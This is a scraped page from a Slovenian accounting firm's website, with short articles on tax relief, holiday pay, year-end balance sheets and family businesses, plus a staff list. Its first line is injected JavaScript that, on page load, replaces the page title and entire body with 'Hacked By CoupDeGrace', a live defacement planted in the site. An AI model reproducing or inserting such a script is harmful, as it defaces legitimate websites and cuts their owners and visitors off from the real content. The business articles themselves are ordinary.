document.addEventListener('DOMContentLoaded', function(){document.title='Hacked By CoupDeGrace';document.body.style.cssText='margin:0;overflow:hidden';document.body.innerHTML='
Hacked By CoupDeGrace
';});

Video

Pristar - zaključek leta in božiček

Kratke zanimivosti

Zadnji zanimivosti

petek, 10. julij 2020 Inšpektorji ta vikend z nadzorom gostinskih lokalov
torek, 12. marec 2019 Trend plačilne discipline

Naključni zanimivosti

ponedeljek, 01. januar 2018 Dela prosti dnevi v letu 2018
torek, 29. maj 2018 Bonitetne ocene AJPES

Sledite nas

Marec 2020, Številka 4

Olajšave za vzdrževane družinske člane (rok 5. 2. 2017)

Zavezanci za dohodnino, ki med letom niste uveljavljali posebne olajšave za vzdrževane družinske člane in zavezanci, ki ste olajšavo med letom uveljavljali, pa želite te podatke spremeniti, morate do 5. 2. 2017 oddati vlogo za uveljavljanje posebne olajšave za vzdrževane družinske člane.

Preberi več

Uspešni starši - uspešni otroci?

Med ljudmi je razširjeno mnenje, da bodo otroci tako ali drugače uspešnih staršev imeli že vnaprej večje možnosti, da bodo tudi sami uspešni; pa je to res? Bo otrok uspešnih staršev res bolje in lažje krmaril skozi življenje?

Preberi več

Do 1. julija je potrebno izplačati regres

Načeloma naj bi vsa podjetja izplačala regres do 1. julija, ob tem pa veljajo tudi posebnosti.
Vsem delavcem, ki imajo pravico do letnega dopusta mora delodajalec, v skladu z 131. členom Zakona o delovnih razmerjih (ZDR) izplačati regres za letni dopust. Pri tem velja omeniti tudi posebne primere:
-če ima delavec pravico do izrabe le sorazmernega dela letnega dopusta, ima pravico tudi le do sorazmernega dela regresa.
-če ima delavec s sklenjeno pogodbo o zaposlitvi s krajšim delovnim časom, ima pravico do regresa sorazmerno delovnemu času, za katerega je sklenil pogodbo o zaposlitvi.
-če delavec dela krajši delovni čas od polnega delovnega časa v skladu s 66. členom ZDR, kar pomeni, da dela v skladu s predpisi o pokojninskem in invalidskem zavarovanju, predpisi o zdravstvenem zavarovanju ali predpisi o starševskem dopustu, ima pravice iz socialnega zavarovanja, kot če bi delal. To pomeni, da ima pravico do plačila za delo po dejanski delovni obveznosti, druge pravice in obveznosti iz delovnega razmerja, pa kot delavec, ki dela polni delovni čas. Kar pomeni, da mu je tudi regres izplačan v celoti.

Preberi več

Kako optimizirati bilanco ?

Približuje se konec leta, čas ko se finančni direktorji začnejo pripravljati na vsedržavno skupinsko fotografiranje podjetij, ki mu rečemo tudi javno poročanje in objava letnih poročil.

Zagotovo pa smo že v globoko v obdobju, ko si večina podjetnikov zastavlja vprašanja kot so:
- kaj lahko dam v stroške,
- kako dokazujem, da so ti stroški upravičeni,
- kako lahko optimiziram poslovni rezultat?

Preberi več

Evidenca za družinsko pomoč v podjetju

Ali prijavljate upravni enoti vsako delo, ko vam starši, partner ali otroci pomagajo v podjetju?

Brezplačno pomoč enega izmed članov družine morate prijaviti upravni enoti. Ne samo to, morate tudi voditi evidenco in plačevati prispevke. To je neživljenjsko in še ena birokratska ovira, pravijo poznavalci.

Preberi več
  1. 7 dejavnikov uspešnega prenosa nasledstva družinskega podjetja
  2. Kako prenesti družinsko podjetje na novo generacijo
  3. Zakaj družinska podjetja bilanc ne bi smela zapostavljati
  4. Velika in zrela družinska podjetja v povprečju rastejo hitreje kot nedružinska in so finančno uspešnejša. Kaj svetujejo?
  5. Družinska podjetja, izkoristite svoje prednosti!
  6. Katera so družinska podjetja
  7. Ali družinsko podjetje potrebuje svetovalca – in kakšnega?
  8. Družinsko podjetnišvo - Zakaj odlašanje s prenosom na naslednika?

Stran 22 od 28

  • Začetek
  • Nazaj
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • Naslednji
  • Konec

Izpostavljeni članki

ponedeljek, 07. september 2020 Plačilo stroška objave letnih poročil

Letos ugotavljamo, da nekateri zavezanci niso prejeli (ali pa ni bil dostavljen) račun AJPESA za objavo letnih poročil. Po zakonu morajo gospodarske družbe, zadruge in samostojni podjetniki po javni...

Preberi več...

Prijazno osebje

COM_CONTACT_IMAGE_DETAILS

Hinko Kašnik

Direktor

Ta e-poštni naslov je zaščiten proti smetenju. Potrebujete Javascript za pogled.

Slika stika

Mateja Kašnik

Samostojni referent

Ta e-poštni naslov je zaščiten proti smetenju. Potrebujete Javascript za pogled.

COM_CONTACT_IMAGE_DETAILS

Lucija Verovnik

Samostojni referent

Ta e-poštni naslov je zaščiten proti smetenju. Potrebujete Javascript za pogled.

Slika stika

Lidija Kresnik

Samostojni referent

Ta e-poštni naslov je zaščiten proti smetenju. Potrebujete Javascript za pogled.

Več

O NAS

  • O podjetju
  • Direktor/Vizija
  • Kontakt
  • Lokacija
  • Novice

STORITVE

  • Splošne storitve
  • Svetovanje
  • Zakaj izbrati nas
  • E-računi Pristar
  • Partner za svetlo prihodnost
  • Računovodstvo v oblaku

KADRI

  • Odkup strank
  • Zaposlovanje
  • Franšiza

PAKETI

  • Začetnik
  • Flex
  • Kmetije
  • Športniki
  • Družinska podjetja
  • Spletne trgovine
  • Start Upi
  • Normiranec

Zahtevajte ponudbo!

PRISTAR d.o.o.

Podgorska cesta 40, 2380 Slovenj Gradec

Kontakt

PRISTAR Koroška d.o.o.

Trg 36, 2391 Prevalje

  • Domov
  • Paketi
  • Ponudba

Navigacija

  • Domov
  • O nas
    • O podjetju
    • Direktor / Vizija
    • Kontakt
    • Lokacija
  • Novice
    • Zakonodaja
    • Podjetnik Začetnik
    • Davki
    • Pristar Live
  • Storitve
    • Splošne storitve
    • Paketi splošno
    • Svetovanje
    • Hitra izvršba
    • Zakaj izbrati nas
    • Aplikacija – Računovodstvo
    • Partner za svetlo prihodnost
    • Računovodstvo v oblaku
    • Računovodstvo za startupe
    • Računovodstvo za mala društva in klube
    • Brezplačno svetovanje pred ustanovitvijo podjetja
  • Paketi
    • Naši paketi
    • Začetnik
    • Flex
    • Start Upi
  • Zahtevaj ponudbo
  • Kadri
    • Odkup strank
    • Zaposlovanje
    • Franšiza
  • Vaš računovodja
  • Aplikacija – Računovodstvo